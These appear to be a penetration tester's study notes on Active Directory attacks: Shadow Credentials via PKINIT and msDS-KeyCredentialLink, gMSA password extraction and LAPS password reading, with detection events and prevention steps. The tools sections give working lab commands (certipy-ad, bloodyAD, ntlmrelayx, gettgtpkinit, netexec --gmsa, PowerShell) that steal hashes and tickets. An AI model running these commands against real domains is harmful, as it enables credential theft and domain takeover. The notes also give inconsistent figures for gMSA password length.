    • ⏱️ Timestamp
    • ✍️ Signed using private key
    • 🔓 Public key

2️⃣ Public Key Validation

  • KDC checks:
    • 🔍 Public key in request

    • 🔗 Matches with:

      msDS-KeyCredentialLink
  • ✔️ If match:
    • Decrypts timestamp
    • Verifies signature

3️⃣ AS-REP

  • ✔️ If validation successful

  • 🎟️ KDC issues TGT


⚠️ Security Insight

🔥 Shadow Credentials Attack

  • Uses msDS-KeyCredentialLink

  • ✔️ Adds attacker-controlled public key

  • ✔️ Enables authentication without password

  • ❗ Covert technique

  • ❗ Minimal visibility in traditional SIEM


🎯 Summary


Symmetric Kerberos → Password-based

PKINIT → Certificate / Key-based

Key Trust → Uses msDS-KeyCredentialLink

📌 Overview

  • Introduced with Windows Server 2016 (PKINIT support)

  • Used to store public keys for authentication

  • Critical for certificate/key-based authentication


🧩 Key Characteristics

1️⃣ Multi-Value Attribute

  • ✔️ Can store multiple public keys

  • ✔️ Represents multiple devices linked to one account


2️⃣ Contains Key Credential Objects

Each value includes:

  • 📅 Creation date

  • 🧾 Distinguished Name (DN) of owner

  • 🆔 GUID (Device ID)

  • 🔑 Public key


3️⃣ Used During Authentication

  • Client sends public key during PKINIT

  • KDC checks:


msDS-KeyCredentialLink
  • ✔️ If match found → authentication continues

4️⃣ Permission Requirement

  • ❗ Modification requires special permissions:
    • GenericWrite
    • GenericAll
  • Typically held by privileged accounts

🕶️ How Shadow Credentials Work

📌 Concept

  • Exploits weak permissions on:

msDS-KeyCredentialLink
  • ✔️ Attacker injects their own public key

  • ✔️ Authenticates as target using PKINIT


🔄 Attack Flow (Step-by-Step)

Step 1: Identify Target Permissions

The attacker identifies an Active Directory object (such as a user or computer account) where they have permissions to modify attributes. Permissions like GenericWrite or GenericAll are required to modify the msDS-KeyCredentialLink attribute.

Step 2: Inject the Attacker’s Public Key

Next, the attacker adds their own public key to the msDS-KeyCredentialLink attribute of the target account. This process essentially “registers” the attacker’s key as a valid authentication method for the target.

Step 3: Generate a Certificate

The attacker creates a certificate in PFX format using the private key associated with the injected public key. This certificate is now tied to the target account.

Step 4: Authenticate as the Target Account

With the generated certificate, the attacker authenticates to the domain using PKINIT. The KDC validates the attacker’s public key against the msDS-KeyCredentialLink attribute and issues a Ticket Granting Ticket (TGT) for the target account.

Step 5: Impersonate Users or Escalate Privileges

Using the TGT, the attacker can:

  • Perform lateral movement within the network.

  • Use the S4U2self protocol to impersonate other users.

  • Extract NTLM hashes from the Privilege Attribute Certificate (PAC).


⚠️ Key Insight

  • No password needed

  • No certificate from CA required

  • Only public key injection is enough


🎯 Summary


Attacker → Injects public key → Generates cert → PKINIT auth → Gets TGT → Becomes target

🔍 Detection

📌 Overview

There are two main detection opportunities:


🧪 1️⃣ Detect PKINIT-Based TGT Requests

  • Monitor event:
    • 4768Kerberos authentication ticket (TGT) requested

🔎 Indicator

  • ⚠️ Suspicious if:

Certificate Information fields are NOT blank

  • ✔️ Especially when:
    • PKINIT is not commonly used
    • Target account normally doesn’t use certificate-based auth

🧪 2️⃣ Detect Attribute Modification

  • Monitor event:
    • 5136Directory service object was modified

🔎 Indicator

  • ⚠️ Suspicious if:

msDS-KeyCredentialLink is modified

  • ❗ And modifier is NOT:
    • Azure AD Connect account
    • ADFS service account

📌 Requirement

  • ✔️ SACL must be configured to audit:
    • AD object modification

🛡️ Prevention

🔐 1️⃣ Restrict Object Control

  • ✔️ Audit permissions on:
    • Privileged accounts

⚠️ Rule


Low-privileged users should NOT modify:

msDS-KeyCredentialLink of privileged accounts

🔐 2️⃣ Deny Modification via ACE

  • Add Access Control Entry (ACE):

DENY → EVERYONE → msDS-KeyCredentialLink
  • ✔️ Apply to:
    • Accounts not using Key Trust
    • Especially privileged accounts

⚠️ Limitation

  • ❗ Can be bypassed if attacker has:
    • WriteOwner
    • WriteDACL

🔎 Detection for Bypass

  • ✔️ Use SACL to detect:

Permission changes / ACL modifications


🎯 Summary

4768 → Detect PKINIT usage

5136 → Detect attribute modification

Restrict permissions + DENY ACE → Prevention

SACL → Detect bypass attempts

Understanding PKINIT + NTML Hash

🔐 What is PKINIT?

📌 Overview

  • In Kerberos, clients must perform pre-authentication before receiving a TGT (Ticket Granting Ticket)

  • Purpose:

    • ✔️ Prevents offline password cracking
    • ✔️ Mitigates attacks like AS-REP Roasting

🔑 Pre-Authentication in Kerberos

🔄 How it Works

  • Client proves identity by:
    • ⏱️ Encrypting a timestamp
    • 🔒 Using its credentials
  • ✔️ Timestamp prevents replay attacks

🔐 Symmetric Key Approach (Traditional)

📌 Key Points

  • Uses symmetric key derived from password

  • Example:

    • RC4 → key = NT hash

🔄 Flow

1️⃣ Client:

  • Encrypts timestamp using secret key

2️⃣ KDC:

  • Has copy of secret key

  • ✔️ Decrypts timestamp

  • ✔️ Authenticates client

3️⃣ KDC:

  • 🔑 Generates session key

  • 🔐 Encrypts it with same secret key

  • 🎟️ Sends TGT to client


🔐 PKINIT (Asymmetric Authentication)

📌 Overview

  • Uses public-private key pairs instead of passwords

  • Less common than symmetric Kerberos


🔄 PKINIT Flow

1️⃣ Client:

  • ✍️ Signs/encrypts pre-auth data using private key

  • 📤 Sends public key + request to KDC


2️⃣ KDC:

  • 🔓 Uses client’s public key

  • ✔️ Decrypts and verifies request

🔑 Session Key Exchange Methods


1️⃣ Diffie-Hellman Key Delivery

  • ✔️ Secure shared session key generation

  • ✔️ Protects against passive MITM attacks

  • ✔️ Provides (almost) Perfect Forward Secrecy

⚠️ Note:

  • Session key also stored in TGT

  • Encrypted using KRBTGT secret key


2️⃣ Public Key Encryption Key Delivery

  • ✔️ KDC generates session key

  • 🔐 Encrypts using:

    • KDC’s private key
    • Client’s public key

🏛️ Certificate Trust Model (PKI)

📌 Overview

  • Uses Digital Certificates signed by CA

  • Both client and KDC trust the CA


✔️ Usage

  • Smart card authentication

  • Standard PKINIT deployments


⚠️ Requirement

  • Both client and KDC must have:
    • 🔑 Public-private key pairs
  • If AD CS is present:
    • ✔️ Domain Controller automatically gets certificate

🔑 Key Trust Model (No PKI)

📌 Overview

  • No certificate required for client

  • Uses raw public keys


🔗 Storage


msDS-KeyCredentialLink

🧩 Key Credential Contains

  • 📅 Creation date

  • 🧾 Distinguished Name

  • 🆔 Device GUID

  • 🔑 Public key


✔️ Characteristics

  • Multi-value attribute

  • Supports multiple devices per account


🔄 Authentication Flow

1️⃣ Client:

  • Sends request with public key

2️⃣ KDC:

  • 🔍 Checks:

msDS-KeyCredentialLink

3️⃣ If match:

  • ✔️ Authentication successful

  • 🎟️ TGT issued


⚠️ Critical Insight


If attacker can write to msDS-KeyCredentialLink

→ They can authenticate as that user

→ Obtain TGT

🎯 Summary


Symmetric Kerberos → Password-based

PKINIT → Public/Private key-based

Certificate Trust → Uses CA

Key Trust → Uses msDS-KeyCredentialLink

🔐 What About NTLM?

📌 Overview

  • PKINIT allows:
    • ✔️ Kerberos authentication
    • ✔️ Obtaining a TGT
  • ❓ Problem:
    • Some resources still require NTLM authentication

🔑 Solution: NTLM via Kerberos Ticket

  • Client can request a special Service Ticket

  • This ticket contains:

    • 🔐 NTLM hash inside PAC

🧾 PAC (Privilege Attribute Certificate)

  • Stored inside:
    • 🔒 Encrypted part of the ticket
  • Encryption depends on ticket type:
    • 🎟️ TGT → Encrypted with KRBTGT key
    • 🎫 Service Ticket → Encrypted with service key

⚠️ Limitation


User cannot decrypt TGT

→ Cannot access NTLM hash directly

🔄 Kerberos U2U (User-to-User) Authentication

📌 Purpose

  • Allows user to obtain a ticket they can decrypt

🔄 Working Flow

1️⃣ User requests Service Ticket to itself

2️⃣ Sends:

  • Its own TGT as:

Additional Ticket

3️⃣ KDC:

  • Extracts session key from TGT

  • Generates new Service Ticket


🔐 Encryption Behavior

  • U2U Service Ticket is encrypted with:

User’s session key (NOT secret key)

✔️ Result

  • User can:
    • 🔓 Decrypt Service Ticket
    • 📥 Access PAC
    • 🔑 Extract NTLM hash

⚠️ Important Design Considerations

  • Session key changes for every authentication

  • KDC does NOT store session keys

  • Extracts session key from:


TGT (encrypted part)

🔥 Critical Insight


If attacker can:

→ Write to msDS-KeyCredentialLink

→ Authenticate via PKINIT

→ Perform U2U request

Then:

→ They can retrieve NTLM hash of target user

📌 Condition (Important)

  • As per MS-PAC:

NTLM_SUPPLEMENTAL_CREDENTIAL

→ Added ONLY if PKINIT authentication is used

🎯 Summary


PKINIT → Get TGT

U2U → Get decryptable ticket

PAC → Contains NTLM hash

→ NTLM hash extraction possible

📌 Important Condition (MS-PAC)

  • As per MS-PAC specification:

NTLM_SUPPLEMENTAL_CREDENTIAL

→ Added to PAC ONLY if PKINIT authentication is used

🔑 Meaning

  • ✔️ If authentication uses PKINIT:
    • PAC includes NTLM hash data
  • ❌ If authentication uses password (symmetric Kerberos):
    • PAC does NOT include NTLM hash

🎯 Key Insight


PKINIT authentication → Enables NTLM hash retrieval (via PAC)

Tools

⚙️ Certipy-ad

📌 Overview

  • Automates full Shadow Credentials attack

  • Performs:


Add Key Credential → Authenticate → Get NT hash + TGT → Restore original state

🧪 Command


certipy-ad shadow auto-u krishna@ignite.local-p Password@1-account dc$

🔄 What Happens

1️⃣ Adds new Key Credential to target (dc$)

2️⃣ Authenticates using injected key

3️⃣ Retrieves:

  • 🔑 NTLM hash

  • 🎟️ TGT

4️⃣ Restores original msDS-KeyCredentialLink


🩸 BloodyAD

📌 Overview

  • Used to manually add Shadow Credentials

  • Targets:


msDS-KeyCredentialLink

🧪 Command


bloodyAD --host 192.168.1.58 -u krishna -p Password@1 -d ignite.local add shadowCredentials DC$

🔄 Output

  • Generates:

Certificate (.pem) + Private Key (.pem)

🔐 PKINITtools (Get TGT)

📌 Purpose

  • Use certificate + private key to obtain TGT via PKINIT

🧪 Command


python3 PKINITtools/gettgtpkinit.py \

-cert-pem CVU5WmSJ_cert.pem \

-key-pem CVU5WmSJ_priv.pem \

ignite.local/DC$ raj.ccache

🔄 Result


TGT saved in .ccache file

🔁 NTLMRelayx (Shadow Credentials via Relay)

📌 Overview

  • Uses NTLM relay to inject Shadow Credentials

  • Targets LDAP service


🧪 Command


impacket-ntlmrelayx \

-t ldap://192.168.1.58 \

--shadow-credentials \

--shadow-target'dc$'

🔄 Attack Flow


1️⃣ Start Relay Listener

  • Waits for incoming NTLM authentication

2️⃣ Trigger Authentication

  • Use browser with:

krishna credentials

3️⃣ Receive Connection


DC$ → connects → sends NTLM auth

4️⃣ Relay to LDAP

  • NTLM auth relayed to:

LDAP on Domain Controller

5️⃣ Modify Attribute


msDS-KeyCredentialLink updated
  • ✔️ Shadow Credential injected

🔐 Get TGT Using PFX

🧪 Command


python3 PKINITtools/gettgtpkinit.py \

-cert-pfx vX3iEoe3.pfx \

-pfx-pass 5SwBdP4py1IG9kDhh2nk \

ignite.local/dc$ shadow.ccache

🔄 Result


TGT obtained for DC$

GMSA

Understanding The Core Concept

🟥 1. What EXACTLY is a gMSA (Group Managed Service Account)?

A gMSA is a special AD security principal created for services running on multiple servers without admins ever knowing the password.

It is:

  • A special user service account (User Object in AD)

  • That has no interactive logon

  • And whose password is 128-character complex string auto-rotated by AD.

The gMSA object is stored in AD under:


CN=svcSQL$,CN=Managed Service Accounts,DC=lab,DC=com

Key attributes:

  • msDS-ManagedPassword → Stores current + previous password blobs

  • msDS-ManagedPasswordInterval → Days between password rotations

  • PrincipalsAllowedToRetrieveManagedPassword → Machines/Groups allowed to read the password

🔐 What Exactly is gMSA?

Most explanations jump directly to passwords and management, but let’s first understand what a gMSA actually is.


📌 Definition

A gMSA (Group Managed Service Account) is:

➡️ A special type of Active Directory account

that is designed to be used by:

  • Windows Services

  • IIS Application Pools

  • Scheduled Tasks

  • SQL Services

  • Enterprise Applications

instead of using a normal user account.


🤔 What is it internally?

Think of Active Directory objects:

  • User Object

  • Computer Object

  • Group Object

  • gMSA Object

A gMSA is its own AD object class.

It is not:

❌ A user account

❌ A computer account

❌ A group

It is a service account object managed by AD.

🚀 gMSA Lifecycle

Step 1 - Administrator Creates gMSA

Example:

  • SQLService$

and specifies:

Allowed Computers

  • SQL01$

  • SQL02$

  • SQL03$

This information is stored in the gMSA object in AD.


Step 2 - SQL01 Starts

When:

  • SQL01 boots

  • or SQL Service starts

Windows notices:

“This service is configured to run as SQLService$”


Step 3 - SQL01 Contacts Domain Controller

SQL01 (using its computer account SQL01$) asks:

“Can I use SQLService$?”


Step 4 - DC Checks Authorization

DC checks the gMSA object.

Specifically:

msDS-GroupMSAMembership

(contains computers/groups allowed to retrieve the gMSA password)

DC sees:

✅ SQL01$ is authorized


Step 5 - DC Provides Managed Password Data

DC sends the managed password information to SQL01.

At this point:

❌ No human sees it

❌ No admin types it

❌ No application developer knows it

Windows handles everything.


Step 6 - LSASS Stores It

The credential material becomes available to Windows security components.

Think:

SQL Service

LSASS

gMSA credential available

Now SQL Server can authenticate as:

  • SQLService$

Step 7 - Future Authentication

Later when SQL needs to access:

  • SMB share

  • SQL cluster node

  • Web service

  • Another server

it does not go back to AD every single time asking for the password.

Instead:

SQL Service → LSASS → Uses already available gMSA credential

→ Requests Kerberos tickets as needed

📜 When was gMSA introduced?

Microsoft introduced:

➜ MSA (Managed Service Account)

  • Introduced in Windows Server 2008 R2

  • Limitation:

    • Could only be used by one server
    • Not suitable for load-balanced applications

➜ gMSA (Group Managed Service Account)

  • Introduced in Windows Server 2012

  • Solved the multi-server limitation

  • One gMSA can be used by multiple authorized servers


🤔 Why was gMSA created?

Before gMSA, companies typically used:

Service Accounts

Examples:

  • svc_sql

  • svc_backup

  • svc_iis

  • svc_exchange

These were just normal Active Directory user accounts used by services.

  • Passwords auto-rotate automatically (every 30 days by default)

  • No one knows the actual password

  • Only authorized computers can retrieve it

  • Perfect for service-to-service authentication


Problems with traditional service accounts

❌ Passwords rarely changed

Admins often configured:

✔ Password never expires

because changing the password could break services.

Result:

  • Same password used for years

  • Easy target for attackers


❌ Password rotation was difficult

Changing a service account password meant:

  1. Change password in AD

  2. Update service configuration

  3. Restart service

  4. Verify application still works

Miss one step:

💥 Service outage


❌ Too many people knew the password

Typical environment:

  • Server admins know it

  • DBA team knows it

  • Application team knows it

Result:

  • Shared secret

  • Poor accountability

🟦 Attribute Required to Read a gMSA Password

To read (retrieve) a gMSA password from Active Directory, the object must have:


🟥 1. Attribute: PrincipalsAllowedToRetrieveManagedPassword

This is the ONLY attribute that controls who can retrieve the gMSA password.

✔ This attribute contains:

  • Computer accounts (SERVER01$)

  • Groups (CN=WebServers,OU=Groups)

  • Service Accounts

  • Other security principals

Only the principals listed in this attribute can contact a DC and retrieve:


msDS-ManagedPassword

🟦 How it Works

When a computer wants the gMSA password, it sends a Kerberos AS-REQ to the Domain Controller.

The DC checks:


Is the requester in:

PrincipalsAllowedToRetrieveManagedPassword ?

If YES → DC returns the encrypted password blob.

If NO → Access denied.

Only principals listed in:


PrincipalsAllowedToRetrieveManagedPassword

(or internally msDS-GroupMSAMembership)

Example:


sqlsvc$

   Allowed machines:

      SQL01$

      WEB01$

Meaning:


SQL01$ → can request password

WEB01$ → can request password

🟥 2. Attribute That Stores the Password: msDS-ManagedPassword

This attribute contains the actual password blob, but it is encrypted and cannot be decrypted without:

  • KDS root key material

  • gMSA SID

  • Machine-specific cryptographic info

Only computers in PrincipalsAllowedToRetrieveManagedPassword can successfully decrypt it.

The password is stored as an attribute of the gMSA object in Active Directory.

Inside the blob:


Current password

Previous password

NTLM hash

AES keys

Rotation metadata

🟦 Summary Table

Purpose | Attribute |
— | — |
Who is allowed to read the gMSA password | PrincipalsAllowedToRetrieveManagedPassword |
Actual encrypted password blob | msDS-ManagedPassword |
Password rotation interval | msDS-ManagedPasswordInterval |

🟥 2. How gMSA Password Rotation Actually Works (Internal Mechanism)

Most people think domain controllers generate the password — WRONG.

✔ TRUE:

Key Distribution Service (KDS) generates keys used to encrypt the password blob.

✔ TRUE:

Domain controllers generate the actual gMSA password and store it in AD.

Internal Working:

🟦 2.1 KDS Root Key

A KDS Root Key is created on DCs:


Add-KdsRootKey –EffectiveImmediately

This key is used to produce per-account encryption keys.


🟦 2.2 gMSA Password Blob

msDS-ManagedPassword is NOT stored in clear text.

It is a complex blob containing:

  • Current password

  • Previous password

  • Password expiry time

  • Password length

  • Metadata

The blob is encrypted using:


KDS Root Key + gMSA SID + Domain SID

This ensures:

  • Only allowed computers can decrypt

  • Even Domain Admins cannot directly read the plaintext (they would need to run code as SYSTEM on an allowed machine)


🟦 2.3 How a MACHINE retrieves the password

A computer (e.g., SQL01$) sends a Kerberos AS-REQ to the KDC asking:


Give me the managed password for svcSQL$

AD checks:


Does SQL01$ exist in:

PrincipalsAllowedToRetrieveManagedPassword

If YES → DC sends the encrypted blob.

Then the computer decrypts it using the KDS key it knows internally.


🟥 3. What happens if an attacker compromises a machine allowed to retrieve gMSA password?

You can extract the gMSA password ANY TIME.

That means:

  • You can obtain the raw NTLM hash

  • You can pass-the-hash

  • You can run commands as that gMSA account on ANY server

PowerShell extraction example:


$gmsa = Get-ADServiceAccount svcSQL$ -Properties msDS-ManagedPassword

$pwd = ConvertFrom-ADManagedPasswordBlob $gmsa.msDS-ManagedPassword

$pwd.SecureCurrentPassword

To extract the NTLM hash, convert to Unicode → NTLM.

Tools:

  • Mimikatz (sekurlsa::ekeys)

  • DSInternals

  • SharpGMSA (offensive tool)

When a Service Starts

Example: SQL Server on SQL01.

Process:

  1. SQL01 authenticates to Domain Controller

  2. SQL01 requests attribute:


msDS-ManagedPassword
  1. DC checks permission

  2. If allowed → DC returns password blob

  3. SQL01 decrypts it

  4. SQL service logs in as:


CORP\sqlsvc$

🟥 4. Deep Dive: gMSA Permissions in AD

gMSAs have NO privileged rights by default.

But in real environments admins assign:

  • Local admin on servers

  • SQL sysadmin

  • “Act as part of the OS” rights

  • Constrained/unconstrained delegation

  • Read access to sensitive OUs

  • LAPS access (misconfiguration)

So compromise impact depends entirely on assigned rights.

🟥 5. Important gMSA Attributes Explained

Attribute | Meaning | Attack Relevance |
— | — | — |
msDS-ManagedPassword | Encrypted password blob | Extract password using Kerberos |
PrincipalsAllowedToRetrieveManagedPassword | Who can read password | Machine compromise → gMSA takeover |
msDS-ManagedPasswordInterval | Password rotation period | Harder to persist without re-extraction |
msDS-AllowedToDelegateTo | Constrained delegation targets | Impersonation attacks |
msDS-AllowedToActOnBehalfOfOtherIdentity | RBCD control | Impersonate any user |
ServicePrincipalName | SPNs for Kerberos | Kerberoasting WITH gMSA creds possible |

Why GMSA is used ??

🟥 1. gMSA IS a Service Account (Specialized Type)

A Group Managed Service Account (gMSA) is a NON-interactive, NON-human AD user account built only for services, apps, and scheduled tasks, NOT for login by humans.

It is created under:


CN=Managed Service Accounts

It behaves like:

  • A user account (with a password & SID)

  • But runs code/services instead of logging in interactively


🟦 2. Why gMSA is used specifically FOR service accounts

Because gMSA solves the biggest problems with traditional service accounts:

🟢 Traditional Service Account (bad)

  • Human knows password

  • Password stored in config files

  • Password reused on many servers

  • Password rarely rotated

  • Hard to manage in multi-server farms

  • Often part of “Domain Admins” or local admin


🟢 gMSA (good)

  • Password is never known to humans

  • Automatically rotated by AD

  • Only specific servers can retrieve the password

  • Works across server farms (IIS/SQL/SharePoint/ADFS)

  • Supports Kerberos authentication

  • Cannot be used to log in interactively


🟦 3. So YES — a gMSA is a Service Account, but with improvements:

Feature | Normal Service Account | gMSA |
— | — | — |
Password | Human created | Machine generated (~240 chars) |
Password rotation | Manual (rare) | Automatic |
Stored in config files | YES | NO |
Multi-server support | Hard | Easy |
Kerberos support | Requires SPN | Built-in |
Interactive login | Possible | NOT allowed |
Security risk | Very high | Low if configured properly |

🟥 4. what does a gMSA run?

A gMSA is used to run:

✔ Windows services

(Example: SQL Server, IIS App Pools, Exchange services, AD FS)


Run this service as: LAB\svcSQL$

✔ Scheduled tasks

(Example: automated scripts, backups, monitoring)

✔ Server applications

(Example: Web apps, .NET apps, PowerShell apps)

✔ Cluster or web farm services

(Known for SharePoint, Exchange, AD FS, SQL AGs)


🟥 5. Why it’s called Group MSA?

Because multiple machines (a group) can use the same service account.

This is needed when the same app/service runs on:

  • Web01

  • Web02

  • Web03

Example:


Principals Allowed To Retrieve Managed Password

    WEB01$

    WEB02$

    WEB03$

All three servers can retrieve the same one gMSA password.

Example

1. Multiple gMSA Accounts Exist in AD

In a real AD environment, admins usually create multiple gMSAs, one per service or service group.

Example AD objects:


sqlsvc$

websvc$

backupsvc$

monitoring$

Each is a separate gMSA object with its own:


msDS-ManagedPassword

attribute.


2. Each gMSA Has Its Own Password Blob

For every gMSA:


sqlsvc$

 └─ msDS-ManagedPassword → SQL service password

websvc$

 └─ msDS-ManagedPassword → IIS service password

backupsvc$

 └─ msDS-ManagedPassword → backup service password

Each blob contains:


NTLM hash

AES128 key

AES256 key

password metadata

So if you can read 3 gMSAs, you get 3 hashes.


3. Why NetExec Can Dump Multiple gMSA Hashes

When you run something like:


netexec ldap <DC-IP> -u user -p pass --gmsa

NetExec does:

Step 1 — LDAP Search

It queries Active Directory for objects with:


objectClass = msDS-GroupManagedServiceAccount

LDAP filter:


(&(objectClass=msDS-GroupManagedServiceAccount))

This returns all gMSAs:


sqlsvc$

websvc$

backupsvc$

Step 2 — Attempt to Read Password Attribute

For each gMSA object it tries to read:


msDS-ManagedPassword

If your account has permission → success.


Step 3 — Convert Password Blob

NetExec parses the blob and extracts:


NTLM hash

AES128 key

AES256 key

Step 4 — Print Results

Example output:


sqlsvc$      NTLM: 9b3c2a7e8d...

websvc$      NTLM: f1d2a6b3e4...

backupsvc$   NTLM: a8d4c2f1b7...

So you see multiple hashes.


4. Why You Might Have Permission for Multiple gMSAs

The permission is controlled by:


PrincipalsAllowedToRetrieveManagedPassword

Example configuration:


sqlsvc$

   Allowed:

      SQL01$

      WEB01$

websvc$

   Allowed:

      WEB01$

      WEB02$

backupsvc$

   Allowed:

      BACKUP01$

      WEB01$

If you compromise WEB01:


WEB01$

You can retrieve passwords for:


sqlsvc$

websvc$

backupsvc$

So multiple hashes appear.


5. Real Attack Scenario

Example compromise:


Attacker → WEB01

WEB01 computer account allowed to read:


sqlsvc$

websvc$

backupsvc$

Running NetExec:


netexec ldap dc.corp.local -u web01$ -H <hash> --gmsa

Output:


sqlsvc$      NTLM: xxxxx

websvc$      NTLM: xxxxx

backupsvc$   NTLM: xxxxx

Now attacker can:


Pass-the-Hash

Kerberos authentication

service impersonation

lateral movement

6. Why Pentesters Love gMSA

Because many admins configure it like this:


PrincipalsAllowedToRetrieveManagedPassword:

    Domain Computers

Meaning:


ANY MACHINE IN DOMAIN

        ↓

can read gMSA password

Then one compromise = all gMSA hashes.


7. Visual Summary


Active Directory

       │

       ▼

  gMSA Objects

  ├─ sqlsvc$

  ├─ websvc$

  ├─ backupsvc$

       │

       ▼

Each has msDS-ManagedPassword

       │

       ▼

NetExec reads all accessible ones

       │

       ▼

Multiple hashes returned

LAPS

Understanding The Core Concept

🚀 1. What is LAPS (Local Administrator Password Solution)?

LAPS is a Microsoft solution that:

✔ Randomizes the

✔ Stores the password securely in Active Directory

✔ Automatically rotates the password after X days

✔ Controls which users/groups are allowed to read the password

LAPS solves one of the biggest AD security problems:

“Every machine having the SAME local admin password.”

This leads to full domain compromise once one endpoint is hacked.

The “Local Administrator Password Solution” (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.

🔥 2. Why LAPS is important (Core Advantage)

🎯 Advantage #1 — Stops Lateral Movement (Pass-the-Hash / Pass-the-Password)

Without LAPS:

  • All endpoints have the same local Administrator password

  • Attacker compromises one machine

  • Dumps local admin hash

  • Uses that hash to move laterally to any machine

    psexec, wmiexec, smbexec

    → Full environment compromise

With LAPS:

  • Each machine has unique local admin password

  • Compromising one endpoint → gives password/hash only for that one machine

  • Cannot be reused elsewhere

  • Attack is contained

This is LAPS’ primary security benefit.


🎯 Advantage #2 — Automatic password rotation

Admins no longer need to create scripts or GPOs.

LAPS handles:

  • Password complexity

  • Password length

  • Expiration

  • Automatic reset


🎯 Advantage #3 — Password is not stored locally

It is stored only in Active Directory in the computer object.

Thus an attacker cannot read the password from the local machine.


☑️ 3. Where is the LAPS password stored?

🔹 Location 1: Local Machine (SAM)

On PC01:

✔ Local Administrator account exists

✔ Only Password hash exists

Stored in:

  • SAM database

Think:


PC01

│

└── SAM

     └── Administrator NT Hash

Important:

⚠️ SAM stores the hash, not the plaintext password.

🔹 Location 2: Active Directory (Computer Object)

Inside AD: PC01$

computer object contains LAPS attributes.

Think:


PC01$

│

├── DNS Name

├── Operating System

├── SPNs

└── LAPS Attributes

📌 Legacy Microsoft LAPS Attributes

Older LAPS used:

ms-Mcs-AdmPwd

Stores:

➡ Current local admin password


ms-Mcs-AdmPwdExpirationTime

Stores:

➡ Password expiration timestamp


Example:


PC01$

│

├── ms-Mcs-AdmPwd

│     = X7!kaP92

│

└── ms-Mcs-AdmPwdExpirationTime

      = 2026-07-17

📌 New Windows LAPS (Modern)

Microsoft introduced:

Windows LAPS

New attributes include:

msLAPS-Password

msLAPS-PasswordExpirationTime

msLAPS-EncryptedPassword

✔ Other LAPS-related attributes

Depending on configuration.


🔹 Is This Stored In NTDS.dit?

✅ Yes

This is where people get confused.

Everything in AD objects ultimately resides in:


NTDS.dit

including:

✔ User objects

✔ Group objects

✔ Computer objects

✔ LAPS attributes


Think:


NTDS.dit

│

├── User Objects

├── Group Objects

├── Computer Objects

│      │

│      └── PC01$

│             └── msLAPS-Password

│

└── Other AD Data

🔹 So Where Is The Password Actually?

For a machine managed by LAPS:

On PC01

✔ Administrator account

✔ NT hash

Stored in SAM


In AD

✔ Current LAPS password

Stored as a computer object attribute

Ultimately residing in NTDS.dit


🧠 4. Who can read the LAPS password? (Critical)

Reading LAPS password requires special permissions.

Only groups/accounts with this AD right:


All extended rights → on the computer object

Or specifically granted:


Read ms-Mcs-AdmPwd

Typical readers:

  • Domain Admins

  • Help Desk staff

  • IT Operations

  • SCCM / Intune automation accounts

If an attacker compromises one of these → they can read passwords for ALL endpoints.

🔐 5. How to Read LAPS Password? (Manual Example)

Using PowerShell (AD RSAT)


Get-ADComputer WIN10-CL01 -Properties ms-Mcs-AdmPwd

Output:


ms-Mcs-AdmPwd : Z>@cN7]f$S2Zy$Xm

If your user has no rights → output is blank.


Using PowerShell LAPS module


Get-AdmPwdPassword -ComputerName WIN10-CL01

🩸 6. Reading LAPS Password using BloodHound

BloodHound detects:

  • Which users/groups can read LAPS passwords

  • Which machines have LAPS enabled

  • Which node has Read LAPS Password privilege

BloodHound right name:


Read LAPS Password

What permission is this?

BloodHound maps this to:


Control Attribute (ms-Mcs-AdmPwd)

and


Read Property

In BloodHound you will see:

  • User → Computer → “Reads LAPS Password”

  • Group → Computer → “Reads LAPS Password”

If you have this edge → you can dump.

📋 Complete Permission Matrix

Permission | Can Read LAPS Directly? | Escalation Path | Severity |
— | — | — | — |
Read Property (ms-Mcs-AdmPwd) | ✅ Yes | — | Direct |
GenericAll | ✅ Yes | Full Control | Critical |
WriteDACL | ❌ No | Modify DACL → add Read Property | High |
WriteOwner | ❌ No | Become owner → Full Control | High |
AllExtendedRights | ❌ No | Reset LAPS → read if you have Read Property | Medium |
GenericWrite | ❌ No | Reset LAPS (if Write is on attribute) | Medium |
ReadControl | ❌ No | Read DACL → target users with LAPS read | Low |
DCSync / Replication | ✅ Yes | Bypass ACLs entirely | CRITICAL |
Backup Operator | ✅ Yes | Backup DC → extract LAPS offline | CRITICAL |
Local Admin | ✅ Yes | Read registry/Event Viewer | High |
Modify Group | ❌ No | Add yourself to LAPS group | Medium |
Self/Parent Owner | ✅ Yes | Implicit Full Control | High |
Service Account Compromise | ✅ Yes | Use compromised account | Depends |
Modify GPO | ❌ No | Create LAPS exfil task | Medium |

🧨 7. What rights does a user need to read LAPS?

Only two specific rights:

✔ Right 1 — Read ms-Mcs-AdmPwd


ReadProperty

✔ Right 2 — ExtendedRight on Computer Objects


AllExtendedRights

These are granted using:

  • Delegation Wizard

  • ACL Editor

  • Custom OU delegation

If a user has these → they can read the local administrator password for every machine inside that OU.


⚠️ 8. Real-World Attack Scenario (Step-by-Step)

Case: Local Admin on one machine is compromised

Normally:

  • Attacker dumps local admin NTLM hash

  • Uses hash to pivot to many machines (Pass-the-Hash)

  • Compromise spreads everywhere

With LAPS:

  • Attacker dumps the local admin hash

  • Tries Pass-the-Hash on another machine

  • Fails, because password/hash is different

  • Attack stops there

Unless the attacker has rights to read ms-Mcs-AdmPwd.


🧨 9. Red Team Scenario: Attacker steals LAPS passwords

If attacker compromises a helpdesk/IT account that has LAPS reading privileges, they can:


Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd |

Select Name, ms-Mcs-AdmPwd

This gives:

  • Password for every endpoint

  • Full lateral movement capability

  • Often full domain compromise

LAPS is only safe if privileged access is controlled properly.


🧩 10. Summary Table

Topic | Explanation |
— | — |
What is LAPS? | AD feature rotating unique local admin passwords |
Main advantage | Stops lateral movement (unique passwords per machine) |
Why not reusable? | Each machine has different local admin password |
Where password stored? | ms-Mcs-AdmPwd attribute in AD |
Who can read it? | Users/groups with ReadProperty + ExtendedRights |
BloodHound mapping | “Reads LAPS Password” edge |
How to read manually? | Get-ADComputer -Properties ms-Mcs-AdmPwd |
Security risk | If attacker gets an account with read access → full compromise |

Example

✅ What LAPS does:

  • Every few days, each computer automatically changes its local admin password

  • That password is stored securely in Active Directory

  • Only authorized users/groups can read it

💡 Result: If one system is hacked, the attacker can’t reuse the local admin password elsewhere because it’s different on every system.


💻 Where is the LAPS Password Stored?

It’s saved in Active Directory under the computer object.

Example:

  • Computer: SQL01.INLANEFREIGHT.LOCAL

  • In AD: It stores ms-Mcs-AdmPwd = 9G#f;p41dcAe,s

